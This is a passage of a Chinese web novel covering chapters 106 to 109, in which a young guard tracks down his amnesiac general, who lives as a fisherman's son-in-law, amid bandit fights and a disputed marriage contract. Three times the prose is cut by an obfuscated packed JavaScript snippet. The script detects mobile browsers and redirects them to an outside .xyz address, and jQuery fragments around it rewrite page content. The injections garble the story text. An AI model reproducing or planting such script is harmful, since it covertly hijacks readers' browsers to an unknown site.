文竹静静看着他,眼底微微发涩。他忽然伸手拍了拍晴雷的肩膀,“那我陪你一起找,直到找到为止。” 晴雷微微一怔,回了一个字,“好。” 风过水面,泛起一层微波,远方的天色渐渐暗下,将他们的身影拉得悠长。 两人一路东行,终于来到黄河入海口。 海风裹挟着咸腥水汽掠过黑松林,惊起寒鸦阵阵。林间幽深寂静,弥漫着若有若无的血腥气。 晴雷勒住踏月,雁翎刀倾斜,刀锋映着晨光,“出来。” 林间传来窸窣声,十余名响马自树后鱼贯闪出。 为首的独眼汉子叼着草梗,独眼在晴雷身上逡巡,“好俊俏的小郎君,你□□这匹宝马,够爷爷喝三年花酒!” 又目光一转落在文竹身上,咧嘴笑道:“还有个小白脸,娘里娘气的,爷倒是头回见,不如一并卖了,定能卖个好价钱。” 文竹脸色微变,他最恨别人这么说他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030120|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘴真脏。”晴雷淡淡开口。 下一瞬,刀光一闪。 雁翎刀寒芒疾掠,刀锋瞬间挑断独眼汉子口中的草梗。然刀势未止,顺势横扫,一名冲上来的响马喉间喷血,倏然倒地。 独眼汉子脸色一变,“给老子弄死他!” 响马们蜂拥而上,刀光错乱,腥风扑面。 晴雷纹丝不动,雁翎刀翻飞如银龙,带起血色弧光。 文竹站在一旁,攥紧拳头。他不会武功,但他不能光傻傻站着。转头瞥见地上木棍,就在响马偷袭晴雷时,他果断冲上前去,抡起木棍朝那人后背狠狠砸去。 “砰!”响马惨叫一声,踉跄向前,恰好撞进晴雷刀锋,鲜血迸溅而亡。 “不错。”晴雷嘴角微扬。 文竹喘着气,手心湿冷。 “快放开我的阿喜!”忽然一声暴喝自林间炸开。 紧接着,老渔夫李老爹扛着鱼叉冲了出来,身后阿喜被响马扣住肩头,正破口大骂。 李老爹气得脸色发青,手里鱼叉直指响马:“一群王八羔子,连个小姑娘都不放过,还有天理王法吗?” 独眼汉子冷哼一声,“这丫头鬼鬼祟祟在林子里转悠,八成是个通风报信的。既然被老子撞上了,就别想全须全尾地离开。” “呸!”阿喜朝他脸上啐了一口,“姑奶奶晨起小解,怎么,碍着你事了?” 独眼汉子冷脸抹去额间口水,扬手就要给她一巴掌。 “你敢动她!”李老爹怒吼,拎着鱼叉冲了上去。 “老头找死。”响马们立刻迎上。 尚在打斗之中的晴雷,闻听这番争斗,刀锋逼退身边敌人,脚步一踏,直掠而出。 目标直取独眼汉子咽喉。 独眼汉子惊骇后退,随手一捞,竟将阿喜抓过来做挡箭牌。 晴雷眼神一沉,刀势猛然一收,侧身掠过阿喜的肩膀,手臂一带,将她从独眼汉子手中顺势夺下。 阿喜跌进他怀里,喘着粗气,“差点就栽了。” “站后面去。”晴雷随手一推,把她推向文竹。 独眼汉子厉吼:“杀光他们!” 双方再次厮杀。 李老爹以一敌二,鱼叉横扫,勉强支撑,但毕竟年纪大了,几招下来露出破绽,被一刀砍翻在地。 “老人家小心!”文竹惊呼。 阿喜目眦欲裂,咬牙飞扑过去,伸手挡在李老爹身前。 “阿喜,快走!”李老爹瞪大眼。 然而响马的刀已经举起。 文竹抡起手中木棍,可他根本来不及阻拦。 千钧一发之际。 一声呼唤自潮水深处传来。 “老爹,阿喜,你们在哪里?” 下一瞬,一道残影掠过林间,速度快得让人看不清。 “噗——” 鲜血飙溅。 那个举刀的响马,甚至都没看清发生了什么,被一刀贯喉,直直倒地。 紧接着,修长身影落在沙地,单手执一把生锈渔刀,粗布衣角翻飞。 所有人都愣住了。 那人抬眸,目光淡漠,如潮起潮落间的冷光。 是阿舟。 又不是阿舟。 文竹瞪大双眼,指着那人结巴道:“时、时将军?” 晴雷死死盯着那张脸,心脏仿佛被人攥住。他熟悉这双眼睛,熟悉握刀的姿势,甚至熟悉那股与生俱来的冷淡傲气。 可时间紧迫,不容他再细想。 李老爹手腕一抖,鱼叉如蛟龙出海,一下子捅进响马小腹,猛地一挑,将其甩飞数步。 阿舟快速扫了一眼局势,疾掠至晴雷身侧,刀锋贴着他手臂一刀封喉,替他解决了侧方袭来的敌人。 晴雷刀锋一转,正好替阿舟挡下另一人劈来的大刀。 两人默契无间,杀意交错。 “撤!”独眼汉子见势不妙,转身狂奔,其余响马也跟着四散逃窜。 晴雷欲追上去,阿舟却已收刀,淡淡道:“不必。” 晴雷转过身去,陡然屈膝跪下,喉咙哽咽道:“爷,属下终于找到您了。” 阿舟挠了挠头,茫然道:“你们……在说啥?” 海潮翻涌,朝阳渐起。 107. 婚契 浊浪拍打沙洲,卷起千堆细雪。海风裹着冰沫,专往骨缝里钻。 晴雷打了个寒颤,第一反应是时枫捉弄他。少年煞有介事地跪伏地面,把头磕得咚咚响。 “爷。”他低声地唤着这个曾经喊过千遍万遍的字眼。 “属下给您拜个早年,祝您大吉大利,早生贵子~” 他努力装出嬉皮笑脸的样子,其实心里坠着千斤巨石。 阿舟将他扶起,替他拍了拍膝盖尘土,一脸正经道:“小兄弟,你认错人了。” 巨石轰然坠落,晴雷先是心内一凉,紧接着眼神一凛,他怀疑时枫陷入某种莫名危机,不便暴露身份。 少年握住阿舟粗壮的手臂,讲起了军营中的暗语:“天凉(爷在执行任务)被狗追(被敌方拿住要害)?” 对方显然被他这一举动吓到,身子向后退缩,抬手一拂,打掉了少年的手。 “我不晓得你说什么,什么天凉被狗追,怪吓人哩。”阿舟显得有些急躁,他认为自己遇到怪胎。 那一拂的手劲颇为有力,令少年十分笃定,眼前的年轻人确是时枫无疑。但他猜不透将军的心思,怎么就不肯承认自己是谁呢? 晴雷思了几个来回,忽然嘴角一扯,“爷是不是怪属下来迟了?” 眼瞳涌动着暗潮,“为了找您,属下和文竹差点把命搭进去。可我们哪有您的脚程快?山高水长路迢迢,总要给人宽泛点时间不是?” 阿舟十分确定少年得了痴症,“我根本不认识你。”说着,脚跟悄悄用力,准备随时跑路。 阿喜看了半天,实在看不下去,掐着小腰插嘴道:“你这人有病吧。他都说不认识你,你还硬要纠缠。莫非,你想拐了傻大个给你做奴隶?” 晴雷的笑意慢慢凝固。 “不认识……”他低声呢喃。 阿喜正要说什么,却被晴雷一把推开,差点跌个趔趄,嘴里骂个不停。 下一刻,晴雷旋即风一般扣住阿舟的双肩。 “这话说的,也忒无情。”他咬紧牙关,字字艰涩,“属下自九岁起,随侍爷身侧,两千日夜相伴,爷不认识我?” 阿舟被他逼得连连后退,背脊抵上皲裂的老松,黑松针漱漱下落。他下意识偏过头,闪躲对方探究的目光,“这位小兄弟,你是不是有什么心事未了?我真的不是你要找的人。” 晴雷猛然扯开曳撒服前襟,一道狰狞的箭疤在朔风中浮动。 “两年前,属下被匈奴狼牙箭直插肋骨,是爷亲手替我剜出的箭尖。” 他攥住阿舟的手,按住肋间伤痕,声音嘶哑道:“爷骂我蠢,说再深半寸,就能给这疤凑个对穿。” “爷,你认出来属下没有?!”晴雷的声音充满了绝望。 凹凸不平的伤疤带着火气,烫得阿舟一颤,本能地想抽回手,却被晴雷攥得更紧。 “你放开我。”阿舟忍不住开始挣扎,腕骨在桎梏中发出轻响,眼底泛起生理性的水雾。 他最不擅长处理这些复杂的人际关系了,咄咄逼人,有理说不清。 这人太可怕了。 阿舟抬眼向李老爹求救。 晴雷冷冷睇着眼前的男人,他的眼里没有熟悉的阴鸷,只剩茫然的怯意。 根本不是那位令人闻风丧胆的“冷面阎罗”。 少年坚定不移的信念根基,出现了一丝松动。 阿喜见他二人剑拔弩张,冲上前抓住晴雷的手腕,嗔道:“喂,你弄疼他了,小心我咬你哦。”说完,“吭哧”一口,咬上手腕。 晴雷再次厌恶地甩掉阿喜的手,目光紧紧盯着阿舟,眸子里燃着火焰,“少跟我装相,我才不信邪。” 少年后退一步,马步扎稳,抽出雁翎刀,眼神凛厉,“出刀。” 咸涩的海风骤起,白练般掠过二人之间的空隙。 阿舟本能地往后退了一步,手肘撞上木头桩子挂着的破烂渔网,勾起几片破碎的贝壳。他下意识地去摸腰间,指尖刚触及刀柄,立刻被晴雷捕捉到了动作。 晴雷眯起眼,“看来,你挺会用刀的。” 话音未落,他身形暴掠而出,雁翎刀直取阿舟左肩。 阿舟来不及思索,腰身一拧,避开攻击,顺势抽出腰间的渔刀,刀光闪过,带起一缕破风。 金铁相交,震得虎口发麻。 阿舟的渔刀比不得军中制式的钢刃,刀身稍短,重心更偏,可他握刀的姿势极其稳当,刃锋侧偏两分,精准卸去晴雷的力道——绝非寻常渔夫能够掌握的技巧。 晴雷眸光一沉:“果然是爷的手法。” 少年刀势一翻,反手横斩。阿舟避无可避,咬牙横刀格挡,脚下踩出片片沙痕。 阿舟吃劲,用力挥臂,破开刀锋,顺势扫向晴雷的腰侧,动作干脆利落。 晴雷险险避开这一击,冷笑道:“这身手,怕是连匈奴骑兵都不及你。” 阿舟不知道自己为何会这样回击,他甚至没想过该如何迎战,可身体却像是拥有某种刻入骨血的战斗本能,让他在最合适的时机做出最正确的应对。 这份本能,让他害怕。 晴雷不给他喘息的机会,脚下一踏,刀锋自下而上挑起,逼得阿舟不得不再次格挡。刀刃撞击的火星在风雪中炸开,震得阿舟手腕发软。他呼吸微乱,脚下一错,险些跌倒。 晴雷步步紧逼,每一刀都精准无比,不给他丝毫喘息的余地。 阿舟狼狈地后退,脑中一片混乱。似乎身体比思维更快了一步,像是经历过无数次厮杀,在生死战斗中练就了直觉。 “不要逼我。”阿舟咬牙低喝,侧身避开晴雷的攻势,旋即下意识反手一挑,刀刃直指晴雷的咽喉。 晴雷停住了。时枫绝不会对他刀剑相逼。 阿舟也停住了。身体的反应仿佛不属于他。 海风怒号,吹起的沙砾打得两人脸颊生疼。 阿舟的慌乱,与晴雷的震撼,相得益彰。 “我说,你们是不是搞错了。”低沉的声音突然打破死寂。 李老爹抡起鱼叉,左右挥舞支开两人,戳得泥雪四溅。 “阿舟是我家上门女婿,不是你们要找的官老爷。”老人喘着粗气道。 众人脸色皆变,阿喜甚至险些惊呼出声。 李老爹从怀中摸出一张皱巴巴的婚契,朱砂指印旁,歪歪斜斜画着两只交颈鸳鸯。 “半年前,鬼门滩山洪冲下个瓜娃子,脑袋让礁石撞坏了,什么都不记得,是我家阿喜救的他。我见他无依无靠,便做主把他留下,定了这门亲事。” 晴雷死死盯着那张婚书,落款处赫然写着:李舟。 他抬头望向阿舟,“你姓李?” 阿舟被他问得发怵,搓了搓手,迟疑道:“我、我姓……”他也不知道自己姓甚名谁。 “他当然姓李。”李老爹插嘴道,语气不容置疑,“他现在是我李家的人,你们认错人了,就请回吧。” 阿舟张嘴想说什么,却被李老爹遽然拽了把衣袖,迷迷糊糊地“哦”了一声,又傻乎乎地闭嘴。 晴雷看着他。 他清晰地记得,半年前黄河泺口渡,风啸浪急,夜色沉沉。 时枫郑重地将踏月缰绳递到晴雷手中,并托付他照看苏绾的随从们。 晴雷眼眶微红,攥紧缰绳,“爷,此行千万小心些。” 时枫微微一笑,月光映得他眉眼淡然如雪,“若我回不来,记得替我养着踏月,顺便给我爹寄两坛上等女儿红。” 他明明说好了会回来。 可只回来了一副躯壳。 晴雷感到胸口被人狠锤了一拳,他不信邪,反复质问:“你真是李家女婿?” 阿舟愈发慌乱,搓着手,局促道:“我、我也不记得自己成亲了。” 李老爹踩了他一脚,低声斥道:“你就记得吃了睡,睡了吃,还能记得啥。” 阿舟疼得龇牙咧嘴,委屈地刚想反驳,阿喜突然扑过来,笑盈盈地搂住他的胳膊,“哎呀,阿舟,你忘了?咱们早已拜堂成亲了,是阿爹给你定的亲。” 阿舟没料到阿喜也跟着发疯,怔愣道:“阿喜……” 阿喜笑得甜腻,指尖用力拧他的脸颊,拧得那块血肉泛白,“你个榆木脑袋,连自己娶了媳妇都不记得了,真是个傻瓜。” 阿舟吃痛地缩了缩脖子,再也不敢回嘴——阿喜若不依不饶起来,他决然斗不过她。 “这位军爷。” 李老爹粗糙的指腹抹过婚书朱砂印,“你看看,这上面有记录,经过官家认证,天王老子来了,他也是我李家人。” 老人浑浊的眼珠映着雪光,“就算他真是你要找的人,现在也只是个给媳妇暖被窝的傻姑爷,他脑子摔坏了,不中用了。” “你们不妨就顺着他的心意,何苦为难他,也为难自己呢?”李老爹晦涩的嗓音,仿若钝刀子刮雪。 风雪萧瑟,落在晴雷的肩头,冰冷刺骨。 文竹拉了拉晴雷的衣襟,低声道:“大人,我们要不先回去?” 僵持下去,毫无意义。 晴雷目光依旧紧锁在阿舟身上,看着他笨拙地将阿喜的碎发别到耳后,那一刻,印象里时枫为苏绾簪花的场景清晰如昨。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037845|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年低下头,声音干涩:“走。” 曳撒服的衣摆一甩,扫落了松枝上的积雪。 不必回头也知道,那傻子正盯着他腰间的雁翎刀。 走了几步,文竹忧心忡忡:“我瞧着,时将军不像是在装,或许他真的失忆了。” 晴雷冷冷一笑:“爷自然不是装的,但那老渔夫鬼话连篇,胡诌乱扯,别有用心。” 他眼神坚定,语气冷冽:“他们根本没成亲。” 阿舟站在原地,愣愣地望着一双背影消失在风雪里,心里堵得慌,说不上是难受还是憋屈。 他皱起眉,咬着牙,努力从脑海深处搜寻那些模糊的片段,可每当他试图回忆过去,脑袋就像被重锤猛砸,疼得厉害。他闷哼一声,抬手狠狠拍自己的头,想要将那些乱七八糟的东西敲出来。 “哎哎哎,你干什么呢?!” 阿喜见状,连忙抓住他的手腕,不让他再折腾自己,“你这傻大个,不会真被那两人忽悠瘸了吧?还真以为自己是什么大将军?” “哎呦。”她眼珠一转,似发现不得了的大事,喜道:“瞧瞧我这脑子。没准,你真是他们口中的‘爷’,不如赶紧叫他们回来,请你进将军府这辈子吃香喝辣,我也好大赚一笔劳务费。” 将军? 阿舟低头看着自己掌心粗粝的老茧,那股违和感盘踞心头,挥之不去。 阿喜忽然又想到什么,转头看向李老爹,狐疑道:“阿爹,你老实交代,咱家哪来那伪造的婚书?被人告到官府,可是要坐牢吃鞭子的哦。” 李老爹叹了口气,拿出那张红纸。 “婚书是真的。” 阿喜瞪大眼睛,“阿爹,你不会糊涂了吧?怎么就成真的了。” 李老爹:“这门亲事,是我做主定下的。阿舟,这半年你在咱们家也不是白待的,如今你是阿喜的相公了,我把她交给你,以后要好好照顾她。” 李老爹年事已高,这几年尤其感到心有余而力不足。眼前阿舟为人憨厚老实,又是捕鱼的一把好手。将阿喜托付给阿舟,他才放心撒手人寰。 阿舟茫然地看着李老爹,又转头看向阿喜,嘴巴微张,竟说不出一个字。 阿喜更是炸了毛,跺脚道:“阿爹,你讲什么笑话,谁要嫁给傻大个啊。” 可她嘴上嚷得厉害,耳尖却悄悄染上了一抹红意,眼底的神色更是慌乱,宛如被人撞破心思的小鹿。 阿舟睇着她微红的脸颊,心里那点怪异的感觉愈发强烈。 哪里都不对劲。 可他终究没能拒绝。 晴雷彻夜无眠。 他靠坐在客栈窗前,指尖缓缓摩挲刀柄,眉头紧锁,眼底沉着风暴。 他不信。 怎么可能? 他一路查探到府衙,花了银子打点,又翻遍了当地的婚姻档案记录,结果竟发现——婚书真实有效。 阿舟,或者说李舟,确实在两个月前,与渔家女李阿喜成亲,盖了手印,存了档,白纸黑字,滴水不漏。 晴雷盯着婚书存根,指尖几乎要将纸张捏碎。 不可能。 他隐忍着怒意,又细细查了李老爹、阿喜、阿舟的身份背景,府衙给出的记录与李老爹所言均一致。 晴雷咬紧牙关,眼底翻滚着骇人的风暴。 “不可能。”他低声吼道。 文竹试探道:“要不咱们去报官?若李家真有问题,官府总该出面调停。” “没用。”晴雷直接打断,“他们护着渔民,不会理睬我们。” 果然,县衙敷衍了事,甚至言辞犀利地警告晴雷不要再无端纠缠,否则休怪他们治他个‘扰民之罪’。 文竹迟疑道:“现在怎么办?” 晴雷沉默良久,摊开案上信纸,提笔疾书。 第一封信,发往京城,送给邵云礼。 邵云礼素来冷峻持重,精通刑律,擅长探案。若此事有疑点,他定能从蛛丝马迹中找到端倪。 第二封信,发往苏州,送给沈恪。 沈恪正在苏州老家休整,手下握有重兵。假如他老人家派兵相助,县衙绝不敢过问。 文竹见他写完,忍不住道:“不写给秦大夫?” 秦欢出身青州贵族世家,手里控制整个山东省人脉。若他肯出手,兴许比邵云礼和沈恪更有效。 但晴雷顿了一下,眼底闪过一抹异色。 “不写。” 文竹诧异:“为何?” 晴雷缓缓收起信件,“直觉。” 他总觉得哪里不对劲。 哪里都不对劲。 108. 官爷 黄海沙洲距离京郊大营,足足八百里平川。彼时大理寺卿邵云礼正值军中检阅,察看军心。 从晴雷放出信鸽算起,到邵云礼千里走单骑,星夜兼程,风尘仆仆闯入客栈为止。 仅用了两天两夜。 客栈木门险些被掼坏了,狂风裹挟寒意瞬间灌入室内。 一道身影闪现,青衣外氅挂满星霜,大理寺卿的眼眸泛着血丝。不等晴雷作揖行礼,一把揪住他的衣领,杀气凛然。 “人呢?”他声音嘶哑。 少年艰难地吞了口唾沫,“爷不在这里。” 邵云礼目光一沉。 晴雷不敢怠慢,连忙将自己查探所得,一五一十地详尽转述李老爹一家的情况。 听得邵云礼眉头越拧越紧,眼底寒意渐浓,额间青筋暴起。 “哼,上门女婿?”大理寺卿冷声道:“他倒是逍遥自在,全然不顾我们这些人的死活。” 黑松林的照面,令晴雷憋闷得厉害,拳头攥得咯吱作响,恨恨道:“爷就像个陌生人一样,死活不肯认我,更别提跟咱们回家了。” “他不走,也得走。”邵云礼语气森然,字字带霜,“眼下,容不得他在温柔乡里浮沉。” 自温如初率人开启南下杭州之旅,邵云礼便隐隐察觉不对劲。温如初亲自上奏,点名要皇帝指派时枫做随军护卫,这一举动着实耐人寻味。 果然,一行人在黄河之上折戟沉沙,温如初毫发未损,而时枫却落水溺亡。 谁会相信? 可皇帝却信了,自此再不提南巡之事,反而急忙追封时枫为一品威武将军,并风光大葬衣冠冢。 邵云礼无暇哀悼,他比所有人都更清楚,时枫绝不会死得这般窝囊。早在意外发生之前,时枫便已寄信交代后续,邵云礼当机立断,全力接手其未竟之事。 第一件事,接手京郊大营兵权。 过程中阻力重重,尤以兵部尚书陆能为首。陆能借时枫阵亡之名,教唆皇帝收回京营兵权。邵云礼不得不请太后出面斡旋,并亮出三十年前的丹书铁券,方才稳住局势,总算将京营控制权握于手中。 第二件事,查探秦欢的底细。 这一查,竟让邵云礼大为震惊。名不见经传的郎中秦欢,竟掌控着北直隶沿海的实际控制权,手下豢养十万精兵,势力范围横跨山东、渤海、黄海,甚至波及东海部分海域,堪称割据一方。 第三件事,联络绥靖王时谦,并调查朝廷谋害时樾的真正缘由。 此事本毫无头绪,直到邵云礼在太后寝宫前偶遇温如初,听其话中有话,遂改道追查寿宁长公主与武安侯私通旧案。谁知竟牵扯出惊人秘辛——当年的殉情事件,并非一场风流孽债,而是人为设局。 是皇帝瞒着太后,亲手鸩杀武安侯,又溺毙长公主,秘而不宣。直至多年后,二人唯一子嗣萧染,在贵妃保荐下得以入宫觐见。 太后欲昭告天下,令萧染承袭武安侯爵位,留在宫中伴己终老。皇帝断然拒绝,以二人私通殉情为由,不许萧染认亲袭爵,而是让他当了暗卫,要他为朝廷“建功立业”,待“功成名就”之日,再认祖归宗不迟。 至此,萧染追杀时枫之事已有了答案。他并非因个人私怨行刺,纯粹奉命行事,以积功累勋。 那么问题来了,朝廷为何要时枫的命?此事与时樾之死又有何关系? 这就牵扯到另一条线索了。 时枫一直追查花娘九香的来历,尚未有半点眉目,却命断黄河。邵云礼悲痛之余,借出差为由亲赴扬州堕花院。他乔装成恩客,与老鸨一番周旋,又以重金贿赂掮客,拿到了旧年九香的卖身契。 据契约记载,她是行院从战乱贩子手中买下的遗孤。结合女书绣帕的证据,不难推断出其真正身份,乃西南九溪十八洞都蛮族部落公主。 大约三十年前,当今皇帝还只是不受宠的九皇子。得伴读兼侍卫时谦、沈恪、陈武、章任梁等人辅佐,九皇子得以在储位争夺中脱颖而出,助力“怀远大将军”剿灭都蛮族,赢得先帝青睐,登上东宫之位。 过了十年后,先帝驾崩,太子顺利登基。那些助其夺储的旧臣,皆得封王或封赏文渊阁。唯独时谦,虽挂上异姓王的虚名,实际被发配西北镇守边疆,终身不得回京。 外界谣传,当年九皇子剿灭都蛮族,时谦曾力劝其网开一面,莫要滥杀无辜。然九皇子心系都蛮族皇室的秘藏之宝,执意血洗满门,将全族屠戮干净,也没能如愿拿到宝藏。 那笔宝藏究竟是什么,无人知晓。 邵云礼推测,当年时谦或许设法救下襁褓中的蛮族公主,托付给乳母带走。经过数年颠沛流离,途中横生变故,九香不幸落入战乱贩子之手,并被辗转卖给了堕花院。 后太子微服私访,游历江南烟花之地,不期与九香邂逅相识,私相相授。由于二人身份悬殊,终究法理不容,故而劳燕分飞。 一段过往,情有可原。 新帝即位后,终究还是查清了九香的出身,也由此知晓时谦隐瞒真相,故意放走蛮族遗孤的罪行。或许,正因误以为时谦私吞了宝藏,新帝才将其远贬西北,以彻底削弱藩王势力。 时樾追查这一系列线索,触及了皇帝逆鳞,遂被皇帝与阁老联手灭口。 时枫循着哥哥的遗踪,步步深入调查时樾死因,终究落得同样下场。 萧染奉命行刺,旨在掩盖真相,混淆视听,将时枫之死归于江湖仇杀。 至此,一切脉络渐明。 真相已然浮现,欲盖弥彰,终是枉然。 此则生死存亡之秋,居然收到时枫还活着的消息,邵云礼管不了那么多,今日就是绑,也要将时枫绑走。 可惜,他算错了对象。 邵云礼的锦靴刚踏上沙洲的沙砾,二十余柄泛着寒光的鱼叉直指面门。铜肤结实的渔家汉子们气势汹汹,将他们团团围住,活像要把人撵下海喂鱼鳖。 人群前头,站着个十五岁的少女,生得娇小玲珑,一双杏眼圆睁,腰间别着杀鱼刀,气势比市井泼妇还强几分。 “乡亲们评评理!”阿喜一脚踩上渔筐,嗓门尖利蛮横:“这些穿绸缎的老爷们,仗着认得几个字,硬说我家阿舟不是阿舟,非要把人抢走充军。” “咱们沙洲讲理的地方是海,不是衙门。敢动我们,就让他们也尝尝海水的滋味。”她特意扯松发辫,碎发沾着片鱼鳞贴在额角,活脱脱一副受尽欺凌的渔家女模样。 渔民们一听,顿时炸开了锅。 “什么?还有这等事?” “欺人太甚!” “光天化日之下,竟敢随便抢人!” 船老大老赵将鱼叉往沙滩一杵,震得木柄嗡嗡作响:“阿舟兄弟人极好,上月还帮俺补过网。”他指着为首的邵云礼,唾沫横飞,“要抓壮丁就冲俺们来,别可着老实人欺负。” 邵云礼冷冷扫向阿喜,这丫头年纪不大,一口一个“抢人”、“欺负”,煽风点火的本事炉火纯青,几句话将他们说成了欺行霸市的恶徒。 晴雷被唾沫星子逼退半步,小声嘀咕:“咱们什么时候欺负他们了?” 阿喜嗓门尖得能刺破耳膜:“怎么没有?我爹打了一辈子鱼,连只虾米都没偷过。你们倒好,一来就说阿舟是什么大人物,还说我家婚书是假的。” 她从怀里掏出一封红绸包裹的婚书,朱砂官印在日光下晃得人眼花。“瞧瞧,这可是我爹典当祖传银镯,花了十两银子办的,里正大人亲手盖的印,真得不能再真。” 说着,她故意把婚书往邵云礼面前一递:“这位官老爷要是不信,大可以拿去验验。不过嘛,”她收回手,狡黠一笑,“验一次收二两银子,这可是俺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048872|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李家的命根子,万一被你们弄坏了,我找谁说理去?” 邵云礼眸色微动,注意到她指腹刻意遮住婚书日期,墨迹未透纸背,分明是月内新写。 他正欲开口,阿喜抢先道:“想带走阿舟?行啊!”她将杀鱼刀往木桩上一钉,“先赔俺爹十两银子,再赔我的青春损失费。” 渔民中响起窃笑,几个后生起哄:“阿喜这是要掏空官老爷的钱袋啊。” 邵云礼微微一笑:“姑娘要多少?” 阿喜眨了眨眼,飞快算账:“纹银五百两,少一个铜板都不行……” 话音未落,邵云礼解下腰间玉佩抛给晴雷,“拿这个去钱庄取银子。” 渔民的哄笑戛然而止,老赵的鱼叉“当啷”落地——他们打十年鱼也攒不下五百两银子。 未料到对方竟出手如此大方,阿喜一时语塞,不知如何是好,低眉瞥见一旁李老爹微微摇头。 阿喜会意,抓起渔篓砸向邵云礼:“谁稀罕你的臭钱。”篓中章鱼黏糊糊扒在青色官袍外氅,“带着你的银子滚出沙洲。” 阿喜像只炸毛的猫,蹭地跳起来,指着邵云礼鼻子就骂,“你们这些外乡人,仗着有几个臭钱就想欺负人?阿舟是我爹辛苦娶回来的女婿,是我们李家的顶梁柱。你们想带走他?先问问沙洲的鱼叉答不答应。” 人群炸开,鱼叉纷纷举起。 “阿喜说得对!” “老李家好不容易有个能干的女婿,凭什么让外人抢走?” “赶他们走,让他们尝尝咱们的厉害!” 渔民们步步逼近,阿喜站在最前,嘴角挂着一丝得意的笑——这场戏,她演得正起劲呢。 邵云礼脸色彻底沉了。他贵为大理寺卿,向来只凭律法行事,从未想过有朝一日,会被一群无知渔民堵在码头,有理说不清。 “大人,从长计议。”晴雷低声道。 他说得对,这群人果然极难对付。可恨自己此行,竟连时枫的影子都没摸到。一世英名,差点毁在一个小姑娘手里。 邵云礼拂去衣摆上的章鱼,恨道:“我们走。” 几人狼狈退出包围圈,身后阿喜清脆讥讽:“官老爷的嘴巴,笨得像虾蟆。” 渔民们哄笑散去,“就是,连个小丫头都说不过,还当什么官!” 阿喜得意地甩了甩辫子,凑到李老爹跟前:“阿爹,我这出戏演得怎么样?” 李老爹叼着旱烟,烟雾缭绕中眼神复杂:“戏是好戏,就是忒聒噪。” 阿喜撇嘴:“嗓门不高一点,怎么吓退他们嘛。” 李老爹深吸一口烟,火星明明灭灭。 “阿爹。”阿喜一把抢过烟杆,眯起眼:“您早就打算带着阿舟跑路了,是不是?” 李老爹被呛得直咳嗽,半晌才叹了口气:“阿喜啊……” 阿喜脸色一变,“不会今晚就走吧?” 潮水漫过脚踝,浪声拍打着礁石,李老爹沉声道:“今夜子时,涨大潮。” 天刚蒙蒙亮,李老爹一家悄然离开沙洲。行李简单,步履匆匆,唯恐夜长梦多。 一路风平浪静,渔舟顺流南下,破开晨雾,海面缓缓前行。谁知不过几十里水路,眼前骤然浮现庞然大物。 那是一艘铁甲楼船,宛如沉眠的巨兽,海面投下庞大的阴影,遮挡了半边天光。 舟上的三人皆怔住。 李老爹握紧船桨,阿喜攥住衣角。 父女生于江海,逐水而生,可这等威势的大船,还是头一回见。 更叫人心惊的是,甲板之上,赫然立着一位白首将军。锁子暗甲凤翅盔,腰间悬挂宝刀,目光如炬,居高临下地睥睨他们。 福建都指挥使,沈恪。 李老爹喉头微动,阿喜悄悄咽了口唾沫。 这下,怕是躲不过去了。 109. 婚约 腊月的沧浪亭,笼罩在一片梅香氤氲之下。复廊外池水幽深如墨,瓦楞间残叶堆积,老藤缠绕亭柱,枯枝斜探入水。 沈枝意立于“翠玲珑”馆的冰裂纹窗棂前,银红织金长裙曳地,白狐裘披肩,指尖捏着一枝腊梅,睇着不远处石桥上的身影。 桥上男人长身玉立,一身石青色长袍,剑眉浓长,凤眸凛凛,眸底如沧浪池水,看似温和平静,实则波澜暗涌。 沈枝意眉眼一弯,踮起脚尖,招手唤道:“阿舟哥哥。” 阿舟抬眸,神色淡淡:“沈小姐。” 那副疏离冷漠的态度,刺激了沈枝意的神经,她小嘴一撇,跺了跺脚,娇嗔道:“怎么还是这般生分?你以前可不是这样唤我的,好歹叫我一声卿卿嘛。” 说话间,她莲步轻挪,来到男人跟前。裙底扫过青石板积存的残叶,带过一阵香风。 淡淡梅香扑鼻,令阿舟忍不住打了个喷嚏,“啊……好。” 他揉搓鼻子,囔囔学舌:“卿卿。” 大概误以为天凉感染了风寒,阿舟缩了缩脖子,两手习惯性地交叉揣进袖里取暖。 一瞬间,仿佛换了个人似的,全无阴鸷冷漠将军神情,倒真有些乡下粗鄙渔夫的架势。 一举一动时刻提醒对方,他是阿舟,不是时枫。 可沈枝意一点都不嫌弃他,反而障袂莞尔一笑,相从万事休。 “这才对嘛。”她伸出素手,掬了一捧青霭,解释道:“你我本是青梅竹马,两小无猜,不必拘礼。”说着,翻手拂去他衣襟上的一点尘埃。 阿舟偏了偏身子,没躲开,也没回应。 